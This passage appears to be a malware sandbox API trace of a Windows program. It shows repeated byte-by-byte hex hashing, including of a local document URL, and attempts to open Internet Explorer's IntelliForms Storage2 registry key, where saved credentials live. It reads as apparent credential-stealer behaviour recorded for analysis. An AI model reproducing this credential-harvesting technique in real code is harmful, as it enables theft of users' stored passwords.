lstrcpyA (in: lpString1=0x65aa80, lpString2="6FF2" | out: lpString1="6FF2") returned="6FF2" [0078.033] lstrcatA (in: lpString1="6FF2", lpString2="8E" | out: lpString1="6FF28E") returned="6FF28E" [0078.033] LocalFree (hMem=0x65ae10) returned 0x0 [0078.033] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9A") returned 2 [0078.033] lstrlenA (lpString="6FF28E") returned 6 [0078.033] lstrlenA (lpString="9A") returned 2 [0078.033] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x6643e8 [0078.033] lstrcpyA (in: lpString1=0x6643e8, lpString2="6FF28E" | out: lpString1="6FF28E") returned="6FF28E" [0078.033] lstrcatA (in: lpString1="6FF28E", lpString2="9A" | out: lpString1="6FF28E9A") returned="6FF28E9A" [0078.033] LocalFree (hMem=0x65aa80) returned 0x0 [0078.033] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EA") returned 2 [0078.033] lstrlenA (lpString="6FF28E9A") returned 8 [0078.033] lstrlenA (lpString="EA") returned 2 [0078.033] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x664350 [0078.033] lstrcpyA (in: lpString1=0x664350, lpString2="6FF28E9A" | out: lpString1="6FF28E9A") returned="6FF28E9A" [0078.033] lstrcatA (in: lpString1="6FF28E9A", lpString2="EA" | out: lpString1="6FF28E9AEA") returned="6FF28E9AEA" [0078.033] LocalFree (hMem=0x6643e8) returned 0x0 [0078.033] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="76") returned 2 [0078.033] lstrlenA (lpString="6FF28E9AEA") returned 10 [0078.033] lstrlenA (lpString="76") returned 2 [0078.033] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6643e8 [0078.033] lstrcpyA (in: lpString1=0x6643e8, lpString2="6FF28E9AEA" | out: lpString1="6FF28E9AEA") returned="6FF28E9AEA" [0078.033] lstrcatA (in: lpString1="6FF28E9AEA", lpString2="76" | out: lpString1="6FF28E9AEA76") returned="6FF28E9AEA76" [0078.033] LocalFree (hMem=0x664350) returned 0x0 [0078.034] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F4") returned 2 [0078.034] lstrlenA (lpString="6FF28E9AEA76") returned 12 [0078.034] lstrlenA (lpString="F4") returned 2 [0078.034] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x664350 [0078.034] lstrcpyA (in: lpString1=0x664350, lpString2="6FF28E9AEA76" | out: lpString1="6FF28E9AEA76") returned="6FF28E9AEA76" [0078.034] lstrcatA (in: lpString1="6FF28E9AEA76", lpString2="F4" | out: lpString1="6FF28E9AEA76F4") returned="6FF28E9AEA76F4" [0078.034] LocalFree (hMem=0x6643e8) returned 0x0 [0078.034] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E6") returned 2 [0078.034] lstrlenA (lpString="6FF28E9AEA76F4") returned 14 [0078.034] lstrlenA (lpString="E6") returned 2 [0078.034] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65ae10 [0078.034] lstrcpyA (in: lpString1=0x65ae10, lpString2="6FF28E9AEA76F4" | out: lpString1="6FF28E9AEA76F4") returned="6FF28E9AEA76F4" [0078.034] lstrcatA (in: lpString1="6FF28E9AEA76F4", lpString2="E6" | out: lpString1="6FF28E9AEA76F4E6") returned="6FF28E9AEA76F4E6" [0078.034] LocalFree (hMem=0x664350) returned 0x0 [0078.034] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AE") returned 2 [0078.034] lstrlenA (lpString="6FF28E9AEA76F4E6") returned 16 [0078.034] lstrlenA (lpString="AE") returned 2 [0078.034] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65aeb0 [0078.034] lstrcpyA (in: lpString1=0x65aeb0, lpString2="6FF28E9AEA76F4E6" | out: lpString1="6FF28E9AEA76F4E6") returned="6FF28E9AEA76F4E6" [0078.034] lstrcatA (in: lpString1="6FF28E9AEA76F4E6", lpString2="AE" | out: lpString1="6FF28E9AEA76F4E6AE") returned="6FF28E9AEA76F4E6AE" [0078.034] LocalFree (hMem=0x65ae10) returned 0x0 [0078.034] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BC") returned 2 [0078.034] lstrlenA (lpString="6FF28E9AEA76F4E6AE") returned 18 [0078.034] lstrlenA (lpString="BC") returned 2 [0078.034] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65ae10 [0078.034] lstrcpyA (in: lpString1=0x65ae10, lpString2="6FF28E9AEA76F4E6AE" | out: lpString1="6FF28E9AEA76F4E6AE") returned="6FF28E9AEA76F4E6AE" [0078.034] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AE", lpString2="BC" | out: lpString1="6FF28E9AEA76F4E6AEBC") returned="6FF28E9AEA76F4E6AEBC" [0078.034] LocalFree (hMem=0x65aeb0) returned 0x0 [0078.034] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="58") returned 2 [0078.034] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC") returned 20 [0078.034] lstrlenA (lpString="58") returned 2 [0078.034] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65aeb0 [0078.034] lstrcpyA (in: lpString1=0x65aeb0, lpString2="6FF28E9AEA76F4E6AEBC" | out: lpString1="6FF28E9AEA76F4E6AEBC") returned="6FF28E9AEA76F4E6AEBC" [0078.034] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC", lpString2="58" | out: lpString1="6FF28E9AEA76F4E6AEBC58") returned="6FF28E9AEA76F4E6AEBC58" [0078.034] LocalFree (hMem=0x65ae10) returned 0x0 [0078.034] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E2") returned 2 [0078.034] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58") returned 22 [0078.034] lstrlenA (lpString="E2") returned 2 [0078.034] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652cb0 [0078.034] lstrcpyA (in: lpString1=0x652cb0, lpString2="6FF28E9AEA76F4E6AEBC58" | out: lpString1="6FF28E9AEA76F4E6AEBC58") returned="6FF28E9AEA76F4E6AEBC58" [0078.034] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58", lpString2="E2" | out: lpString1="6FF28E9AEA76F4E6AEBC58E2") returned="6FF28E9AEA76F4E6AEBC58E2" [0078.035] LocalFree (hMem=0x65aeb0) returned 0x0 [0078.035] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="6F") returned 2 [0078.035] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E2") returned 24 [0078.035] lstrlenA (lpString="6F") returned 2 [0078.035] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652e00 [0078.035] lstrcpyA (in: lpString1=0x652e00, lpString2="6FF28E9AEA76F4E6AEBC58E2" | out: lpString1="6FF28E9AEA76F4E6AEBC58E2") returned="6FF28E9AEA76F4E6AEBC58E2" [0078.035] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E2", lpString2="6F" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F") returned="6FF28E9AEA76F4E6AEBC58E26F" [0078.035] LocalFree (hMem=0x652cb0) returned 0x0 [0078.035] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="64") returned 2 [0078.035] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E26F") returned 26 [0078.035] lstrlenA (lpString="64") returned 2 [0078.035] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652cb0 [0078.035] lstrcpyA (in: lpString1=0x652cb0, lpString2="6FF28E9AEA76F4E6AEBC58E26F" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F") returned="6FF28E9AEA76F4E6AEBC58E26F" [0078.035] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E26F", lpString2="64" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64") returned="6FF28E9AEA76F4E6AEBC58E26F64" [0078.035] LocalFree (hMem=0x652e00) returned 0x0 [0078.035] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B5") returned 2 [0078.035] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E26F64") returned 28 [0078.035] lstrlenA (lpString="B5") returned 2 [0078.035] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652e00 [0078.035] lstrcpyA (in: lpString1=0x652e00, lpString2="6FF28E9AEA76F4E6AEBC58E26F64" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64") returned="6FF28E9AEA76F4E6AEBC58E26F64" [0078.035] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E26F64", lpString2="B5" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B5") returned="6FF28E9AEA76F4E6AEBC58E26F64B5" [0078.035] LocalFree (hMem=0x652cb0) returned 0x0 [0078.035] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="10") returned 2 [0078.035] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E26F64B5") returned 30 [0078.035] lstrlenA (lpString="10") returned 2 [0078.035] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.035] lstrcpyA (in: lpString1=0x6293a8, lpString2="6FF28E9AEA76F4E6AEBC58E26F64B5" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B5") returned="6FF28E9AEA76F4E6AEBC58E26F64B5" [0078.035] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B5", lpString2="10" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510") returned="6FF28E9AEA76F4E6AEBC58E26F64B510" [0078.035] LocalFree (hMem=0x652e00) returned 0x0 [0078.035] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F4") returned 2 [0078.035] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E26F64B510") returned 32 [0078.035] lstrlenA (lpString="F4") returned 2 [0078.035] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.035] lstrcpyA (in: lpString1=0x6292f8, lpString2="6FF28E9AEA76F4E6AEBC58E26F64B510" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510") returned="6FF28E9AEA76F4E6AEBC58E26F64B510" [0078.035] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510", lpString2="F4" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F4") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F4" [0078.035] LocalFree (hMem=0x6293a8) returned 0x0 [0078.035] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="68") returned 2 [0078.035] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E26F64B510F4") returned 34 [0078.035] lstrlenA (lpString="68") returned 2 [0078.035] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.035] lstrcpyA (in: lpString1=0x6293a8, lpString2="6FF28E9AEA76F4E6AEBC58E26F64B510F4" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F4") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F4" [0078.036] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F4", lpString2="68" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F468" [0078.036] LocalFree (hMem=0x6292f8) returned 0x0 [0078.036] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F1") returned 2 [0078.036] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E26F64B510F468") returned 36 [0078.036] lstrlenA (lpString="F1") returned 2 [0078.036] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.036] lstrcpyA (in: lpString1=0x6292f8, lpString2="6FF28E9AEA76F4E6AEBC58E26F64B510F468" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F468" [0078.036] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468", lpString2="F1" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1" [0078.036] LocalFree (hMem=0x6293a8) returned 0x0 [0078.036] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B7") returned 2 [0078.036] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1") returned 38 [0078.036] lstrlenA (lpString="B7") returned 2 [0078.036] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647a00 [0078.036] lstrcpyA (in: lpString1=0x647a00, lpString2="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1" [0078.036] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1", lpString2="B7" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B7") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B7" [0078.036] LocalFree (hMem=0x6292f8) returned 0x0 [0078.036] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="03") returned 2 [0078.036] lstrlenA (lpString="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B7") returned 40 [0078.036] lstrlenA (lpString="03") returned 2 [0078.036] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647890 [0078.036] lstrcpyA (in: lpString1=0x647890, lpString2="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B7" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B7") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B7" [0078.036] lstrcatA (in: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B7", lpString2="03" | out: lpString1="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B703") returned="6FF28E9AEA76F4E6AEBC58E26F64B510F468F1B703" [0078.036] LocalFree (hMem=0x647a00) returned 0x0 [0078.036] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.036] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.036] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.036] LocalFree (hMem=0x647890) returned 0x0 [0078.036] CoTaskMemFree (pv=0x65ad70) [0078.037] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/LyzcAiFqaG-JK.docx", lpSrch="?") returned 0x0 [0078.037] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/LyzcAiFqaG-JK.docx") returned 53 [0078.037] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="43") returned 2 [0078.037] lstrlenA (lpString="") returned 0 [0078.037] lstrlenA (lpString="43") returned 2 [0078.037] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65aa80 [0078.037] lstrcpyA (in: lpString1=0x65aa80, lpString2="" | out: lpString1="") returned="" [0078.037] lstrcatA (in: lpString1="", lpString2="43" | out: lpString1="43") returned="43" [0078.037] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B6") returned 2 [0078.037] lstrlenA (lpString="43") returned 2 [0078.037] lstrlenA (lpString="B6") returned 2 [0078.037] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65ad70 [0078.037] lstrcpyA (in: lpString1=0x65ad70, lpString2="43" | out: lpString1="43") returned="43" [0078.037] lstrcatA (in: lpString1="43", lpString2="B6" | out: lpString1="43B6") returned="43B6" [0078.037] LocalFree (hMem=0x65aa80) returned 0x0 [0078.037] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BA") returned 2 [0078.037] lstrlenA (lpString="43B6") returned 4 [0078.037] lstrlenA (lpString="BA") returned 2 [0078.037] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65aa80 [0078.037] lstrcpyA (in: lpString1=0x65aa80, lpString2="43B6" | out: lpString1="43B6") returned="43B6" [0078.037] lstrcatA (in: lpString1="43B6", lpString2="BA" | out: lpString1="43B6BA") returned="43B6BA" [0078.037] LocalFree (hMem=0x65ad70) returned 0x0 [0078.037] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9C") returned 2 [0078.037] lstrlenA (lpString="43B6BA") returned 6 [0078.037] lstrlenA (lpString="9C") returned 2 [0078.037] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x664350 [0078.037] lstrcpyA (in: lpString1=0x664350, lpString2="43B6BA" | out: lpString1="43B6BA") returned="43B6BA" [0078.037] lstrcatA (in: lpString1="43B6BA", lpString2="9C" | out: lpString1="43B6BA9C") returned="43B6BA9C" [0078.037] LocalFree (hMem=0x65aa80) returned 0x0 [0078.037] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="64") returned 2 [0078.037] lstrlenA (lpString="43B6BA9C") returned 8 [0078.037] lstrlenA (lpString="64") returned 2 [0078.037] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6643e8 [0078.037] lstrcpyA (in: lpString1=0x6643e8, lpString2="43B6BA9C" | out: lpString1="43B6BA9C") returned="43B6BA9C" [0078.037] lstrcatA (in: lpString1="43B6BA9C", lpString2="64" | out: lpString1="43B6BA9C64") returned="43B6BA9C64" [0078.037] LocalFree (hMem=0x664350) returned 0x0 [0078.037] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="1D") returned 2 [0078.037] lstrlenA (lpString="43B6BA9C64") returned 10 [0078.038] lstrlenA (lpString="1D") returned 2 [0078.038] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x664350 [0078.038] lstrcpyA (in: lpString1=0x664350, lpString2="43B6BA9C64" | out: lpString1="43B6BA9C64") returned="43B6BA9C64" [0078.038] lstrcatA (in: lpString1="43B6BA9C64", lpString2="1D" | out: lpString1="43B6BA9C641D") returned="43B6BA9C641D" [0078.038] LocalFree (hMem=0x6643e8) returned 0x0 [0078.038] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="88") returned 2 [0078.038] lstrlenA (lpString="43B6BA9C641D") returned 12 [0078.038] lstrlenA (lpString="88") returned 2 [0078.038] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6643e8 [0078.038] lstrcpyA (in: lpString1=0x6643e8, lpString2="43B6BA9C641D" | out: lpString1="43B6BA9C641D") returned="43B6BA9C641D" [0078.038] lstrcatA (in: lpString1="43B6BA9C641D", lpString2="88" | out: lpString1="43B6BA9C641D88") returned="43B6BA9C641D88" [0078.038] LocalFree (hMem=0x664350) returned 0x0 [0078.038] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3A") returned 2 [0078.038] lstrlenA (lpString="43B6BA9C641D88") returned 14 [0078.038] lstrlenA (lpString="3A") returned 2 [0078.038] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65ad70 [0078.038] lstrcpyA (in: lpString1=0x65ad70, lpString2="43B6BA9C641D88" | out: lpString1="43B6BA9C641D88") returned="43B6BA9C641D88" [0078.038] lstrcatA (in: lpString1="43B6BA9C641D88", lpString2="3A" | out: lpString1="43B6BA9C641D883A") returned="43B6BA9C641D883A" [0078.038] LocalFree (hMem=0x6643e8) returned 0x0 [0078.038] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7A") returned 2 [0078.038] lstrlenA (lpString="43B6BA9C641D883A") returned 16 [0078.038] lstrlenA (lpString="7A") returned 2 [0078.038] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65ae10 [0078.038] lstrcpyA (in: lpString1=0x65ae10, lpString2="43B6BA9C641D883A" | out: lpString1="43B6BA9C641D883A") returned="43B6BA9C641D883A" [0078.038] lstrcatA (in: lpString1="43B6BA9C641D883A", lpString2="7A" | out: lpString1="43B6BA9C641D883A7A") returned="43B6BA9C641D883A7A" [0078.038] LocalFree (hMem=0x65ad70) returned 0x0 [0078.038] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A1") returned 2 [0078.038] lstrlenA (lpString="43B6BA9C641D883A7A") returned 18 [0078.038] lstrlenA (lpString="A1") returned 2 [0078.038] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65ad70 [0078.038] lstrcpyA (in: lpString1=0x65ad70, lpString2="43B6BA9C641D883A7A" | out: lpString1="43B6BA9C641D883A7A") returned="43B6BA9C641D883A7A" [0078.038] lstrcatA (in: lpString1="43B6BA9C641D883A7A", lpString2="A1" | out: lpString1="43B6BA9C641D883A7AA1") returned="43B6BA9C641D883A7AA1" [0078.038] LocalFree (hMem=0x65ae10) returned 0x0 [0078.038] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="18") returned 2 [0078.038] lstrlenA (lpString="43B6BA9C641D883A7AA1") returned 20 [0078.038] lstrlenA (lpString="18") returned 2 [0078.038] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65ae10 [0078.038] lstrcpyA (in: lpString1=0x65ae10, lpString2="43B6BA9C641D883A7AA1" | out: lpString1="43B6BA9C641D883A7AA1") returned="43B6BA9C641D883A7AA1" [0078.038] lstrcatA (in: lpString1="43B6BA9C641D883A7AA1", lpString2="18" | out: lpString1="43B6BA9C641D883A7AA118") returned="43B6BA9C641D883A7AA118" [0078.038] LocalFree (hMem=0x65ad70) returned 0x0 [0078.038] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="81") returned 2 [0078.039] lstrlenA (lpString="43B6BA9C641D883A7AA118") returned 22 [0078.039] lstrlenA (lpString="81") returned 2 [0078.039] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652e00 [0078.039] lstrcpyA (in: lpString1=0x652e00, lpString2="43B6BA9C641D883A7AA118" | out: lpString1="43B6BA9C641D883A7AA118") returned="43B6BA9C641D883A7AA118" [0078.039] lstrcatA (in: lpString1="43B6BA9C641D883A7AA118", lpString2="81" | out: lpString1="43B6BA9C641D883A7AA11881") returned="43B6BA9C641D883A7AA11881" [0078.039] LocalFree (hMem=0x65ae10) returned 0x0 [0078.039] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="62") returned 2 [0078.039] lstrlenA (lpString="43B6BA9C641D883A7AA11881") returned 24 [0078.039] lstrlenA (lpString="62") returned 2 [0078.039] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652cb0 [0078.039] lstrcpyA (in: lpString1=0x652cb0, lpString2="43B6BA9C641D883A7AA11881" | out: lpString1="43B6BA9C641D883A7AA11881") returned="43B6BA9C641D883A7AA11881" [0078.039] lstrcatA (in: lpString1="43B6BA9C641D883A7AA11881", lpString2="62" | out: lpString1="43B6BA9C641D883A7AA1188162") returned="43B6BA9C641D883A7AA1188162" [0078.039] LocalFree (hMem=0x652e00) returned 0x0 [0078.039] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="64") returned 2 [0078.039] lstrlenA (lpString="43B6BA9C641D883A7AA1188162") returned 26 [0078.039] lstrlenA (lpString="64") returned 2 [0078.039] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652e00 [0078.039] lstrcpyA (in: lpString1=0x652e00, lpString2="43B6BA9C641D883A7AA1188162" | out: lpString1="43B6BA9C641D883A7AA1188162") returned="43B6BA9C641D883A7AA1188162" [0078.039] lstrcatA (in: lpString1="43B6BA9C641D883A7AA1188162", lpString2="64" | out: lpString1="43B6BA9C641D883A7AA118816264") returned="43B6BA9C641D883A7AA118816264" [0078.039] LocalFree (hMem=0x652cb0) returned 0x0 [0078.039] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="67") returned 2 [0078.039] lstrlenA (lpString="43B6BA9C641D883A7AA118816264") returned 28 [0078.039] lstrlenA (lpString="67") returned 2 [0078.039] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652cb0 [0078.039] lstrcpyA (in: lpString1=0x652cb0, lpString2="43B6BA9C641D883A7AA118816264" | out: lpString1="43B6BA9C641D883A7AA118816264") returned="43B6BA9C641D883A7AA118816264" [0078.039] lstrcatA (in: lpString1="43B6BA9C641D883A7AA118816264", lpString2="67" | out: lpString1="43B6BA9C641D883A7AA11881626467") returned="43B6BA9C641D883A7AA11881626467" [0078.039] LocalFree (hMem=0x652e00) returned 0x0 [0078.039] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A4") returned 2 [0078.039] lstrlenA (lpString="43B6BA9C641D883A7AA11881626467") returned 30 [0078.039] lstrlenA (lpString="A4") returned 2 [0078.039] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.039] lstrcpyA (in: lpString1=0x6292f8, lpString2="43B6BA9C641D883A7AA11881626467" | out: lpString1="43B6BA9C641D883A7AA11881626467") returned="43B6BA9C641D883A7AA11881626467" [0078.039] lstrcatA (in: lpString1="43B6BA9C641D883A7AA11881626467", lpString2="A4" | out: lpString1="43B6BA9C641D883A7AA11881626467A4") returned="43B6BA9C641D883A7AA11881626467A4" [0078.039] LocalFree (hMem=0x652cb0) returned 0x0 [0078.039] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9B") returned 2 [0078.039] lstrlenA (lpString="43B6BA9C641D883A7AA11881626467A4") returned 32 [0078.039] lstrlenA (lpString="9B") returned 2 [0078.039] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.039] lstrcpyA (in: lpString1=0x6293a8, lpString2="43B6BA9C641D883A7AA11881626467A4" | out: lpString1="43B6BA9C641D883A7AA11881626467A4") returned="43B6BA9C641D883A7AA11881626467A4" [0078.039] lstrcatA (in: lpString1="43B6BA9C641D883A7AA11881626467A4", lpString2="9B" | out: lpString1="43B6BA9C641D883A7AA11881626467A49B") returned="43B6BA9C641D883A7AA11881626467A49B" [0078.039] LocalFree (hMem=0x6292f8) returned 0x0 [0078.040] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D5") returned 2 [0078.040] lstrlenA (lpString="43B6BA9C641D883A7AA11881626467A49B") returned 34 [0078.040] lstrlenA (lpString="D5") returned 2 [0078.040] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.040] lstrcpyA (in: lpString1=0x6292f8, lpString2="43B6BA9C641D883A7AA11881626467A49B" | out: lpString1="43B6BA9C641D883A7AA11881626467A49B") returned="43B6BA9C641D883A7AA11881626467A49B" [0078.040] lstrcatA (in: lpString1="43B6BA9C641D883A7AA11881626467A49B", lpString2="D5" | out: lpString1="43B6BA9C641D883A7AA11881626467A49BD5") returned="43B6BA9C641D883A7AA11881626467A49BD5" [0078.040] LocalFree (hMem=0x6293a8) returned 0x0 [0078.040] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F8") returned 2 [0078.040] lstrlenA (lpString="43B6BA9C641D883A7AA11881626467A49BD5") returned 36 [0078.040] lstrlenA (lpString="F8") returned 2 [0078.040] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.040] lstrcpyA (in: lpString1=0x6293a8, lpString2="43B6BA9C641D883A7AA11881626467A49BD5" | out: lpString1="43B6BA9C641D883A7AA11881626467A49BD5") returned="43B6BA9C641D883A7AA11881626467A49BD5" [0078.040] lstrcatA (in: lpString1="43B6BA9C641D883A7AA11881626467A49BD5", lpString2="F8" | out: lpString1="43B6BA9C641D883A7AA11881626467A49BD5F8") returned="43B6BA9C641D883A7AA11881626467A49BD5F8" [0078.040] LocalFree (hMem=0x6292f8) returned 0x0 [0078.040] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A4") returned 2 [0078.040] lstrlenA (lpString="43B6BA9C641D883A7AA11881626467A49BD5F8") returned 38 [0078.040] lstrlenA (lpString="A4") returned 2 [0078.040] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647890 [0078.040] lstrcpyA (in: lpString1=0x647890, lpString2="43B6BA9C641D883A7AA11881626467A49BD5F8" | out: lpString1="43B6BA9C641D883A7AA11881626467A49BD5F8") returned="43B6BA9C641D883A7AA11881626467A49BD5F8" [0078.040] lstrcatA (in: lpString1="43B6BA9C641D883A7AA11881626467A49BD5F8", lpString2="A4" | out: lpString1="43B6BA9C641D883A7AA11881626467A49BD5F8A4") returned="43B6BA9C641D883A7AA11881626467A49BD5F8A4" [0078.041] LocalFree (hMem=0x6293a8) returned 0x0 [0078.041] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="23") returned 2 [0078.041] lstrlenA (lpString="43B6BA9C641D883A7AA11881626467A49BD5F8A4") returned 40 [0078.041] lstrlenA (lpString="23") returned 2 [0078.041] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647a00 [0078.041] lstrcpyA (in: lpString1=0x647a00, lpString2="43B6BA9C641D883A7AA11881626467A49BD5F8A4" | out: lpString1="43B6BA9C641D883A7AA11881626467A49BD5F8A4") returned="43B6BA9C641D883A7AA11881626467A49BD5F8A4" [0078.041] lstrcatA (in: 